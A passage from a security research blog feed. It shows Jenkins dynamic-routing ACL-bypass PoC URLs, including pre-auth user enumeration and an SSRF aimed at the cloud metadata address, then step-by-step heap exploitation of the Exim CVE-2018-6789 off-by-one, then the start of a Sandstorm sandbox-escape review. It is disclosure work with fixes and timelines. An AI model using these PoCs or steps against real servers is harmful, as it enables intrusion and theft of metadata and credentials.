class="s">"/federatedLoginService/"</span><span class="o">,</span> <span class="s">"/securityRealm"</span><span class="o">,</span> <span class="s">"/instance-identity"</span> <span class="o">);</span> </code></pre></div></div> <p>That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content </code></pre></div></div> <p>The above URL will invoke following methods in sequence!</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">jenkins</span><span class="o">.</span><span class="na">model</span><span class="o">.</span><span class="na">Jenkins</span><span class="o">.</span><span class="na">getAdjuncts</span><span class="o">(</span><span class="s">"whatever"</span><span class="o">)</span> <span class="o">.</span><span class="na">getClass</span><span class="o">()</span> <span class="o">.</span><span class="na">getClassLoader</span><span class="o">()</span> <span class="o">.</span><span class="na">getResource</span><span class="o">(</span><span class="s">"index.jsp"</span><span class="o">)</span> <span class="o">.</span><span class="na">getContent</span><span class="o">()</span> </code></pre></div></div> <p>This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!</p> <p>Once we realize the principle, the remaining part is like solving a maze. <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java">jenkins.model.Jenkins</a> is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!</p> <p>By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like <a href="https://cwiki.apache.org/confluence/display/WW/S2-020">Struts2 RCE</a> and <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1622">Spring Framework RCE</a>!!</p> <p><br /></p> <h2 id="how-to-exploit">How to Exploit?</h2> <hr /> <p>How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/securityRealm/user/[username]/descriptorByName/[descriptor_name]/ </code></pre></div></div> <p>The gadget will invoke following methods sequencely.</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">jenkins</span><span class="o">.</span><span class="na">model</span><span class="o">.</span><span class="na">Jenkins</span><span class="o">.</span><span class="na">getSecurityRealm</span><span class="o">()</span> <span class="o">.</span><span class="na">getUser</span><span class="o">([</span><span class="n">username</span><span class="o">])</span> <span class="o">.</span><span class="na">getDescriptorByName</span><span class="o">([</span><span class="n">descriptor_name</span><span class="o">])</span> </code></pre></div></div> <p>In Jenkins, all configurable objects will extend the type <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/Descriptor.java">hudson.model.Descriptor</a>. And, any class who extends the <code class="language-plaintext highlighter-rouge">Descriptor</code> type is accessible by method <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/DescriptorByNameOwner.java#L51">hudson.model.DescriptorByNameOwner#getDescriptorByName(String)</a>. In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the <a href="http://jenkins.local/script">Script Console</a>, without the permission <code class="language-plaintext highlighter-rouge">Jenkins.RUN_SCRIPTS</code>, we still can’t do anything :(</p> <p>Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )</p> <p>P.S. It should be noted that in the method <code class="language-plaintext highlighter-rouge">getUser([username])</code>, it will invoke <code class="language-plaintext highlighter-rouge">getOrCreateById(...)</code> with <code class="language-plaintext highlighter-rouge">create</code> flag set to <code class="language-plaintext highlighter-rouge">True</code>. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in <a href="https://jenkins.io/security/advisory/2018-10-10/">SECURITY-1128</a>.</p> <p><br /></p> <h3 id="1-pre-auth-user-information-leakage">1. Pre-auth User Information Leakage</h3> <p>While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).</p> <p>In this situation, this vulnerability is useful! Due to the lack of permission check on search functionality. By modifying the <code class="language-plaintext highlighter-rouge">keyword</code> from a to z, an attacker can list all users on Jenkins!</p> <h4 id="poc">PoC:</h4> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] </code></pre></div></div> <p><img src="/assets/img/blog/20190116/3.png" alt="" /></p> <p>Also, this vulnerability can be also chained with <a href="https://jenkins.io/security/advisory/2017-10-11/#user-remote-api-disclosed-users-email-addresses">SECURITY-514</a> which reported by <code class="language-plaintext highlighter-rouge">Ananthapadmanabhan S R</code> to leak user’s email address! Such as:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/securityRealm/user/admin/api/xml </code></pre></div></div> <p><br /></p> <h3 id="2-chained-with-cve-2018-1000600-to-a-pre-auth-fully-responded-ssrf">2. Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF</h3> <p>The next bug is <a href="https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915">CVE-2018-1000600</a>, this bug is reported by <a href="https://twitter.com/orange_8361">Orange Tsai</a>(Yes, it’s me :P). About this vulnerability, the official description is:</p> <blockquote> <p>CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials</p> </blockquote> <p>It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)</p> <p>Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!</p> <h4 id="poc-1">PoC:</h4> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &amp;login=orange &amp;password=tsai </code></pre></div></div> <p><img src="/assets/img/blog/20190116/4.png" alt="" /></p> <p><br /></p> <h3 id="3-pre-auth-remote-code-execution">3. Pre-auth Remote Code Execution</h3> <blockquote> <p>PLEASE DON’T BULLSHIT, WHERE IS THE RCE!!!</p> </blockquote> <p>In order to maximize the impact, I also find an <strong>INTERESTING</strong> remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)</p> <p><br /></p> <h2 id="todo">TODO</h2> <hr /> <p>Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P</p> <ul> <li>Get the <code class="language-plaintext highlighter-rouge">Plugin</code> object reference under <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code>. If this can be done, it can bypass the ACL restriction of <a href="https://jenkins.io/security/advisory/2018-07-18/#SECURITY-914">CVE-2018-1999002</a> and <a href="https://jenkins.io/security/advisory/2018-02-14/#SECURITY-705">CVE-2018-6356</a> to a indeed pre-auth arbitrary file reading!</li> <li>Find another gadget to invoke the method <code class="language-plaintext highlighter-rouge">getDescriptorByName(String)</code> under <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code>. In order to fix <a href="https://jenkins.io/security/advisory/2018-08-15/#SECURITY-672">SECURITY-672</a>, Jenkins applies a <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/User.java#L1026">check</a> on <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/User.java">hudson.model.User</a> to ensure the least privilege <code class="language-plaintext highlighter-rouge">Jenkins.READ</code>. So the original gadget will fail after Jenkins version 2.138.</li> </ul> <p><br /></p> <h2 id="acknowledgement">Acknowledgement</h2> <hr /> <p>Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:</p> <ul> <li>May 30, 2018 - Report vulnerabilities to Jenkins</li> <li>Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600</li> <li>Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002</li> <li>Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046</li> <li>Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861</li> <li>Dec 20, 2018 - Report Groovy vulnerability to Jenkins</li> <li>Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002</li> </ul> https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing-en/ https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing-en Wed, 16 Jan 2019 00:00:00 +0800 Exim 任意代碼執行漏洞 (CVE-2018-6789) <h2 id="內容">內容</h2> <p>今年我們向 Exim 回報了一個位於 base64 解碼函式的溢出漏洞,編號為 <strong>CVE-2018-6789</strong>。此漏洞從 Exim 專案開始時即存在,因此<strong>影響 Exim 的所有版本</strong>。</p> <p>根據我們的研究,攻擊者可利用此漏洞達成<strong>遠端任意代碼執行,並且不需任何認證</strong>,至少有 40 萬台 Exim 伺服器受此漏洞影響並存在被攻擊的風險。我們建議立即將 Exim <strong>升級至 4.90.1 版</strong>以免遭受攻擊。</p> <h2 id="細節">細節</h2> <p>詳細的技術細節請參閱我們的 Advisory: <a href="https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/">https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/</a></p> https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789/ https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789 Tue, 06 Mar 2018 00:00:00 +0800 Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing <h2 id="overview">Overview</h2> <p>We reported an overflow vulnerability in the base64 decode function of <a href="https://www.exim.org/"><strong>Exim</strong></a> on 5 February, 2018, identified as <a href="https://exim.org/static/doc/security/CVE-2018-6789.txt">CVE-2018-6789</a>. This bug exists since the first commit of exim, hence <strong>ALL versions</strong> are affected. According to our research, it can be leveraged to gain <strong>Pre-auth Remote Code Execution</strong> and at least 400k servers are at risk. Patched version 4.90.1 is already released and we suggest to upgrade exim immediately.</p> <h2 id="affected">Affected</h2> <ul> <li>All Exim versions below 4.90.1</li> </ul> <h1 id="one-byte-overflow-in-base64-decoding">One byte overflow in base64 decoding</h1> <h3 id="vulnerability-analysis">Vulnerability Analysis</h3> <p>This is a calculation mistake of decode buffer length in <code class="language-plaintext highlighter-rouge">b64decode</code> function: <a href="https://github.com/Exim/exim/blob/master/src/src/base64.c#L153">base64.c: 153 b64decode</a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">b64decode</span><span class="p">(</span><span class="k">const</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">code</span><span class="p">,</span> <span class="n">uschar</span> <span class="o">**</span><span class="n">ptr</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">result</span> <span class="o">=</span> <span class="n">store_get</span><span class="p">(</span><span class="mi">3</span><span class="o">*</span><span class="p">(</span><span class="n">Ustrlen</span><span class="p">(</span><span class="n">code</span><span class="p">)</span><span class="o">/</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// perform decoding</span> <span class="p">}</span> </code></pre></div></div> <p>As shown above, exim allocates a buffer of <code class="language-plaintext highlighter-rouge">3*(len/4)+1</code> bytes to store decoded base64 data. However, when the input is not a valid base64 string and the length is <code class="language-plaintext highlighter-rouge">4n+3</code>, exim allocates <code class="language-plaintext highlighter-rouge">3n+1</code> but consumes <code class="language-plaintext highlighter-rouge">3n+2</code> bytes while decoding. This causes one byte heap overflow (aka off-by-one). Generally, this bug is harmless because the memory overwritten is usually unused. However, this byte overwrites some critical data when the string fits some specific length. In addition, this byte is controllable, which makes exploitation more feasible. Base64 decoding is such a fundamental function and therefore this bug can be triggered easily, causing remote code execution. <a id="back"></a></p> <h3 id="exploitation">Exploitation</h3> <p>To estimate the severity of this bug, we developed an exploit targeting SMTP daemon of exim. The exploitation mechanism used to achieve pre-auth remote code execution is described in the following paragraphs. In order to leverage this one byte overflow, it is necessary to trick memory management mechanism. It is highly recommended to have basic knowledge of heap exploitation <a href="#heap_exp">[ref]</a> before reading this section.</p> <p>We developed the exploit with:</p> <ul> <li><strong>Debian(stretch)</strong> and <strong>Ubuntu(zesty)</strong></li> <li><strong>SMTP daemon of Exim4 package</strong> installed with apt-get (4.89/4.88)</li> <li>Config enabled (uncommented in default config) <strong>CRAM-MD5 authenticator</strong> (any other authenticator using base64 also works)</li> <li>Basic SMTP commands (<strong>EHLO, MAIL FROM/RCPT TO</strong>) and <strong>AUTH</strong></li> </ul> <h4 id="memory-allocation">Memory allocation</h4> <p>First, we review the source code and search for useful memory allocation. As we mentioned in the <a href="">previous article</a>, exim uses self-defined functions for dynamic allocation:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">extern</span> <span class="n">BOOL</span> <span class="nf">store_extend_3</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span> <span class="cm">/* The */</span> <span class="k">extern</span> <span class="kt">void</span> <span class="nf">store_free_3</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span> <span class="cm">/* value of the */</span> <span class="k">extern</span> <span class="kt">void</span> <span class="o">*</span><span class="nf">store_get_3</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span> <span class="cm">/* 2nd arg is */</span> <span class="k">extern</span> <span class="kt">void</span> <span class="o">*</span><span class="nf">store_get_perm_3</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span> <span class="cm">/* __FILE__ in */</span> <span class="k">extern</span> <span class="kt">void</span> <span class="o">*</span><span class="nf">store_malloc_3</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span> <span class="cm">/* every call, */</span> <span class="k">extern</span> <span class="kt">void</span> <span class="nf">store_release_3</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span> <span class="cm">/* so give its */</span> <span class="k">extern</span> <span class="kt">void</span> <span class="nf">store_reset_3</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span> <span class="cm">/* correct type */</span> </code></pre></div></div> <p>Function <code class="language-plaintext highlighter-rouge">store_free()</code> and <code class="language-plaintext highlighter-rouge">store_malloc()</code> calls <code class="language-plaintext highlighter-rouge">malloc()</code> and <code class="language-plaintext highlighter-rouge">free()</code> of glibc directly. Glibc takes a slightly bigger (<code class="language-plaintext highlighter-rouge">0x10</code> bytes) <strong>chunk</strong> and stores its metadata in the first <code class="language-plaintext highlighter-rouge">0x10</code> bytes (x86-64) on every allocation, and then returns the location of <code class="language-plaintext highlighter-rouge">data</code>. The following illustration describes structure of chunk: <img src="/assets/img/blog/20180306/1.png" alt="" /></p> <p>Metadata includes size of previous chunk (the one exactly above in memory), size of current block and some flags. The first three bits of <code class="language-plaintext highlighter-rouge">size</code> are used to store flags. In this example, size of <code class="language-plaintext highlighter-rouge">0x81</code> implies current chunk is <code class="language-plaintext highlighter-rouge">0x80</code> bytes and the previous chunk is in use. Most of released chunks used in exim are put into a doubly linked list called <strong>unsorted bin</strong>. Glibc maintains it according to the flags, and merges adjacent released chunks into a bigger chunk to avoid fragmentation. For every allocation request, glibc checks these chunks in an FIFO (first in, first-out) order and reuses the chunks.</p> <p>For some performance issues, exim maintains its own linked list structure with <code class="language-plaintext highlighter-rouge">store_get()</code>, <code class="language-plaintext highlighter-rouge">store_release()</code>, <code class="language-plaintext highlighter-rouge">store_extend()</code> and <code class="language-plaintext highlighter-rouge">store_reset()</code>. <img src="/assets/img/blog/20180306/2.png" alt="architecture of storeblock" /> The main feature of storeblocks is that every block is at least <code class="language-plaintext highlighter-rouge">0x2000</code> bytes, which becomes a restriction to our exploitation. Note that a storeblock is also the <code class="language-plaintext highlighter-rouge">data</code> of a chunk. Therefore, if we look into the memory, it is like: <img src="/assets/img/blog/20180306/3.png" alt="" /></p> <p>Here we list functions used to arrange heap data:</p> <ul> <li>EHLO hostname For each EHLO(or HELO) command, exim stores the pointer of hostname in <code class="language-plaintext highlighter-rouge">sender_host_name</code>. <ul> <li><code class="language-plaintext highlighter-rouge">store_free()</code> old name</li> <li><code class="language-plaintext highlighter-rouge">store_malloc()</code> for new name</li> </ul> <p><a href="https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L1833">smtp_in.c: 1833 check_helo</a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="mi">1839</span> <span class="cm">/* Discard any previous helo name */</span> <span class="mi">1840</span> <span class="mi">1841</span> <span class="nf">if</span> <span class="p">(</span><span class="n">sender_helo_name</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="mi">1842</span> <span class="p">{</span> <span class="mi">1843</span> <span class="n">store_free</span><span class="p">(</span><span class="n">sender_helo_name</span><span class="p">);</span> <span class="mi">1844</span> <span class="n">sender_helo_name</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="mi">1845</span> <span class="err">}</span> <span class="p">...</span> <span class="mi">1884</span> <span class="nf">if</span> <span class="p">(</span><span class="n">yield</span><span class="p">)</span> <span class="n">sender_helo_name</span> <span class="o">=</span> <span class="n">string_copy_malloc</span><span class="p">(</span><span class="n">start</span><span class="p">);</span> <span class="mi">1885</span> <span class="k">return</span> <span class="n">yield</span><span class="p">;</span> </code></pre></div> </div> </li> <li>Unrecognized command For every unrecognized command with unprintable characters, exim allocates a buffer to convert it to printable <ul> <li><code class="language-plaintext highlighter-rouge">store_get()</code> to store error message</li> </ul> <p><a href="https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L5725">smtp_in.c: 5725 smtp_setup_msg</a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="mi">5725</span> <span class="n">done</span> <span class="o">=</span> <span class="n">synprot_error</span><span class="p">(</span><span class="n">L_smtp_syntax_error</span><span class="p">,</span> <span class="mi">500</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">5726</span> <span class="n">US</span><span class="s">"unrecognized command"</span><span class="p">);</span> </code></pre></div> </div> </li> <li>AUTH In most authentication procedure, exim uses base64 encoding to communicate with client. The encode and decode string are stored in a buffer allocated by <code class="language-plaintext highlighter-rouge">store_get()</code>. <ul> <li><code class="language-plaintext highlighter-rouge">store_get()</code> for strings</li> <li>can contain unprintable characters, NULL bytes</li> <li>not necessarily null terminated</li> </ul> </li> <li>Reset in EHLO/HELO, MAIL, RCPT When a command is done correctly, <code class="language-plaintext highlighter-rouge">smtp_reset()</code> is called. This function calls <code class="language-plaintext highlighter-rouge">store_reset()</code> to reset block chain to a <strong>reset point</strong>, which means all storeblocks allocated by <code class="language-plaintext highlighter-rouge">store_get()</code> after last command are released. <ul> <li><code class="language-plaintext highlighter-rouge">store_reset()</code> to reset point (set at the beginning of function)</li> <li>release blocks added at a time</li> </ul> <p><a href="https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L3771">smtp_in.c: 3771 smtp_setup_msg</a></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 3771 int 3772 smtp_setup_msg(void) 3773 { 3774 int done = 0; 3775 BOOL toomany = FALSE; 3776 BOOL discarded = FALSE; 3777 BOOL last_was_rej_mail = FALSE; 3778 BOOL last_was_rcpt = FALSE; 3779 void *reset_point = store_get(0); 3780 3781 DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n"); 3782 3783 /* Reset for start of new message. We allow one RSET not to be counted as a 3784 nonmail command, for those MTAs that insist on sending it between every 3785 message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of 3786 TLS between messages (an Exim client may do this if it has messages queued up 3787 for the host). Note: we do NOT reset AUTH at this point. */ 3788 3789 smtp_reset(reset_point); </code></pre></div> </div> </li> </ul> <h4 id="exploit-steps">Exploit steps</h4> <p>To leverage this off-by-one, the chunk beneath decoded base64 data should be freed easily and controllable. After several attempts, we found that <code class="language-plaintext highlighter-rouge">sender_host_name</code> is a better choice. We arrange the heap layout to leave a freed chunk above <code class="language-plaintext highlighter-rouge">sender_host_name</code> for the base64 data. <img src="/assets/img/blog/20180306/4.png" alt="" /></p> <ol> <li> <p>Put a huge chunk into unsorted bin First of all, we send a EHLO message with huge hostname to make it allocate and deallocate, leaving a <code class="language-plaintext highlighter-rouge">0x6060</code> length (3 storeblocks long) chunk in unsorted bin.</p> </li> <li> <p>Cut the first storeblock Then we send an unrecognized string to trigger <code class="language-plaintext highlighter-rouge">store_get()</code> and allocate a storeblock inside the freed chunk.</p> </li> <li> <p>Cut the second storeblock and release the first one We send a EHLO message again to get the second storeblock. The first block is freed sequentially because of the <code class="language-plaintext highlighter-rouge">smtp_reset</code> called after EHLO is done.</p> <p>After the heap layout is prepared, we can use the off-by-one to overwrite the original chunk size. We modify <code class="language-plaintext highlighter-rouge">0x2021</code> to <code class="language-plaintext highlighter-rouge">0x20f1</code>, which slightly extends the chunk.</p> <p><img src="/assets/img/blog/20180306/5.png" alt="" /></p> </li> <li> <p>Send base64 data and trigger off-by-one To trigger off-by-one, we start an AUTH command to send base64 data. The overflow byte precisely overwrites the first byte of next chunk and extends the next chunk.</p> </li> <li> <p>Forge a reasonable chunk size Because the chunk is extended, the start of next chunk of is changed to somewhere inside of the original one. Therefore, we need to make it <strong>seems like</strong> a normal chunk to pass sanity checks in glibc. We send another base64 string here, because it requires <code class="language-plaintext highlighter-rouge">NULL</code> byte and unprintable character to forge chunk size.</p> </li> <li> <p>Release the extended chunk To control the content of extended chunk, we need to release the chunk first because we cannot edit it directly. That is, we should send a new EHLO message to release the old host name. However, normal EHLO message calls <code class="language-plaintext highlighter-rouge">smtp_reset</code> after it succeeds, which possibly makes program abort or crash. To avoid this, we send an <strong>invalid</strong> host name such as <code class="language-plaintext highlighter-rouge">a+</code>.</p> </li> <li> <p>Overwrite the <strong><code class="language-plaintext highlighter-rouge">next</code></strong> pointer of overlapped storeblock</p> <p><img src="/assets/img/blog/20180306/6.png" alt="" /> After the chunk is released, we can retrieve it with AUTH and overwrite part of overlapped storeblock. Here we use a trick called <strong>partial write</strong>. With this, we can modify the pointer without breaking <strong>ASLR</strong> (Address space layout randomization). We partially changed the <code class="language-plaintext highlighter-rouge">next</code> pointer to a storeblock containing ACL (Access Control List) strings. The ACL strings are pointed by a set of global pointers such as:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_auth</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_data</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_etrn</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_expn</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_helo</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_mail</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_quit</span><span class="p">;</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">acl_smtp_rcpt</span><span class="p">;</span> </code></pre></div> </div> <p>These pointers are initialized at the beginning of exim process, set according to the configure. For example, if there is a line <code class="language-plaintext highlighter-rouge">acl_smtp_mail = acl_check_mail</code> in the configure, the pointer <code class="language-plaintext highlighter-rouge">acl_smtp_mail</code> points to the string <code class="language-plaintext highlighter-rouge">acl_check_mail</code>. Whenever MAIL FROM is used, exim performs an ACL check, which expands <code class="language-plaintext highlighter-rouge">acl_check_mail</code> first. While expanding, exim tries to execute commands if it encounters <code class="language-plaintext highlighter-rouge">${run{cmd}}</code>, so we achieve code execution as long as we control the ACL strings. In addition, we do not need to hijack program control flow directly and therefore we can bypass mitigations such as <strong>PIE</strong> (Position Independent Executables), <strong>NX</strong> easily.</p> </li> <li> <p>Reset storeblocks and retrieve the ACL storeblock Now the ACL storeblock is in the linked list chain. It will be released once <code class="language-plaintext highlighter-rouge">smtp_reset()</code> is triggered, and then we can retrieve it again by allocating multiple blocks.</p> </li> <li> <p>Overwrite ACL strings and trigger ACL check Finally, we overwrite the whole block containing ACL strings. Now we send commands such as EHLO, MAIL, RCPT to trigger ACL checks. Once we touch an acl defined in the configure, we achieve remote code execution.</p> </li> </ol> <h2 id="fix">Fix</h2> <p>Upgrade to 4.90.1 or above</p> <h2 id="timeline">Timeline</h2> <ul> <li>5 February, 2018 09:10 Reported to Exim</li> <li>6 February, 2018 23:23 CVE received</li> <li>10 February, 2018 18:00 Patch released</li> </ul> <h2 id="credits">Credits</h2> <p>Vulnerabilities found by Meh, DEVCORE research team. meh [at] devco [dot] re</p> <h2 id="reference">Reference</h2> <p>https://exim.org/static/doc/security/CVE-2018-6789.txt https://git.exim.org/exim.git/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6789 http://www.openwall.com/lists/oss-security/2018/02/07/2</p> <p><a id="heap_exp"></a></p> <h4 id="heap-exploitation-materials-return">Heap exploitation materials <a href="#back">[return]</a></h4> <ul> <li><a href="https://heap-exploitation.dhavalkapil.com/">Heap Exploitation</a>: A tutorial of heap exploitation by Dhaval Kapil</li> <li><a href="https://github.com/shellphish/how2heap">how2heap</a>: A repo for learning heap exploitation by Shellphish</li> <li><a href="https://www.slideshare.net/AngelBoy1/heap-exploitation-51891400">Heap exploitation</a>: (Chinese) A slide introducing basic glibc heap exploitation by Angelboy</li> <li><a href="https://www.slideshare.net/AngelBoy1/advanced-heap-exploitaion">Advanced heap exploitation</a>: (Chinese) A slide of advanced heap exploitation techniques by Angelboy</li> <li><a href="https://googleprojectzero.blogspot.tw/2014/08/the-poisoned-nul-byte-2014-edition.html">The poisoned NUL byte</a>: An article of Null byte off-by-one exploitation by Project Zero</li> </ul> https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en Tue, 06 Mar 2018 00:00:00 +0800 一次在 Sandstorm 跳脫沙箱的滲透經驗 <p><a href="/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200-en/">Sandstorm Security Review</a> (English Version)<br /> <a href="/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200/">一次在 Sandstorm 跳脫沙箱的滲透經驗</a> (中文版本)</p> <h2 id="前言">前言</h2> <p>2017 年初,我們有個滲透測試專案,專案的標的架構在 <a href="https://sandstorm.io/">Sandstorm</a> 之上。Sandstorm 是一款 Web 平台,使用者可以輕易的在該平台安裝各種 Web App(如 WordPress、GitLab…),該平台最大的特色在於這些 App 都是在沙箱中執行。因此,即使我們測試中找到多項 App 弱點,也無法對平台本身造成威脅。</p> <p>為了讓弱點效益最大化,我們將一部分精力轉移到研究 Sandstorm 原始碼,目的是跳脫 App 的沙箱環境看有沒有機會影響整台伺服器。最後,我們找到了幾個少見且有趣的弱點,並申請 CVE 編號如下:</p> <ul> <li>阻斷服務攻擊(Denial of Service),CVE-2017-6198</li> <li>繞過授權模式(Bypassing Authorization Schema),CVE-2017-6199</li> <li>不安全的直接存取物件(Insecure Direct Object References),CVE-2017-6200</li> <li>服務端請求偽造(Server-Side Request Forgery),CVE-2017-6201</li> </ul> <h2 id="漏洞細節">漏洞細節</h2> <h3 id="cve-2017-6198">CVE-2017-6198</h3> <p>這是一個消耗系統資源造成的 DoS。起因是 Sandstorm 並未完善限制每個 App 所能使用的資源,在 <code class="language-plaintext highlighter-rouge">src/sandstorm/supervisor.c++</code> 僅限制了每個程序能夠打開的最多檔案數,相關程式碼如下:</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span 